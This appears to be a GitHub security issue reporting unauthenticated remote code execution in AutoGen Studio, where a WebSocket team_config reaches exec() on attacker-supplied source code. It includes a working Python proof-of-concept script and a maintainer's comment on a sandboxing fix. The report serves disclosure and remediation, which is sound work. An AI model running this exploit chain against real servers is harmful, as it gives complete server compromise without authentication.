[Security] Critical: Unauthenticated RCE via WebSocket team_config (CVSS 9.8)
🔴 Security Report: Unauthenticated RCE via WebSocket team_config (CVSS 9.8)
NOTE: This is a security vulnerability report. Please consider setting this issue to private or transferring to Microsoft Security Response Center (MSRC).
Summary
AutoGen Studio allows unauthenticated remote attackers to achieve arbitrary code execution (RCE) on the hosting server through a three-step attack chain requiring zero prerequisites.
Steps to Reproduce
- Create a session:
POST /api/sessions/ - Create a run:
POST /api/runs/withteam_configcontaining a malicious FunctionTool - Connect via WebSocket:
WS /api/ws/runs/{run_id}and send the team_config FunctionTool._from_config()callsexec(source_code)with attacker-controlled Python code
Root Cause
In autogenstudio/web/ui/chat.py, FunctionTool._from_config() at line 92:
@classmethod
def _from_config(cls, config: dict) -> "FunctionTool":
source_code = config.get("source_code", "")
# No sanitization, no sandbox
namespace = {}
exec(source_code, namespace) # Line 92 - Direct code execution
return cls(name=name, source_code=source_code, ...)
The WebSocket handler (websocket_manager.py) accepts team_config without any validation, and the default AuthConfig sets type="none".
Impact
- CVSS 9.8 Critical — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
- Complete server compromise
- Works with default configuration (no authentication)
- No user interaction required
Environment
- AutoGen Studio v0.4+
- Default Docker deployment
- Python 3.10+
Suggested Fix
- Enable authentication by default
- Add input validation to FunctionTool source_code
- Execute code in a sandboxed environment
PoC
# poc_autogen_studio_ws_rce.py
import asyncio, json, websockets, requests
BASE = "http://target:8080"
# Step 1: Create session
r = requests.post(f"{BASE}/api/sessions/")
session_id = r.json()["session_id"]
# Step 2: Create run with malicious team_config
team_config = {
"teams": [{
"participants": [{
"source_code": "import os; os.system('id > /tmp/pwned')",
"name": "pwn", "component_type": "function_tool"
}]
}]
}
r = requests.post(f"{BASE}/api/runs/", json={"session_id": session_id, "team_config": team_config})
run_id = r.json()["run_id"]
# Step 3: Trigger via WebSocket
async def exploit():
async with websockets.connect(f"ws://target:8080/api/ws/runs/{run_id}") as ws:
await ws.send(json.dumps({"type": "team_config", "data": team_config}))
print(await ws.recv())
asyncio.run(exploit())
Full PoC and detailed report available upon request.
Discoverer: icysun ([email protected])
Cross-referencing for architectural overlap — not proposing a public fix here, since @icysun has already asked for MSRC handling.
This FunctionTool._from_config() → exec(source_code) sink belongs to the same family as #7462 (LocalCommandLineCodeExecutor running LLM-generated code without isolation by default). #7611 lands an opt-in sandbox=True contract on the latter, with an explicit PlatformExecutionScopeError when the host can't honour the contract (Windows lacks preexec_fn + RLIMIT_*) — so the executor never silently downgrades a security guarantee.
If MSRC wants a consistent mitigation surface, the same shape generalises here:
- An opt-in execution-scope contract on
FunctionTool._from_config()(and any siblingexec()/subprocesssinks inautogenstudio) - Default off for backward compatibility
sandbox=Trueeither subprocess-isolates with rlimits/seccomp (POSIX) or raises (Windows / unsupported)- Authentication-by-default on the WebSocket layer is the other half — code execution shouldn't be reachable pre-auth even with sandbox=True
Happy to extend the #7611 work to cover this sink if Microsoft Security wants me on the coordinated fix — flagging here so the two tracks don't duplicate effort, not asking to be assigned. Will respect whatever channel MSRC prefers.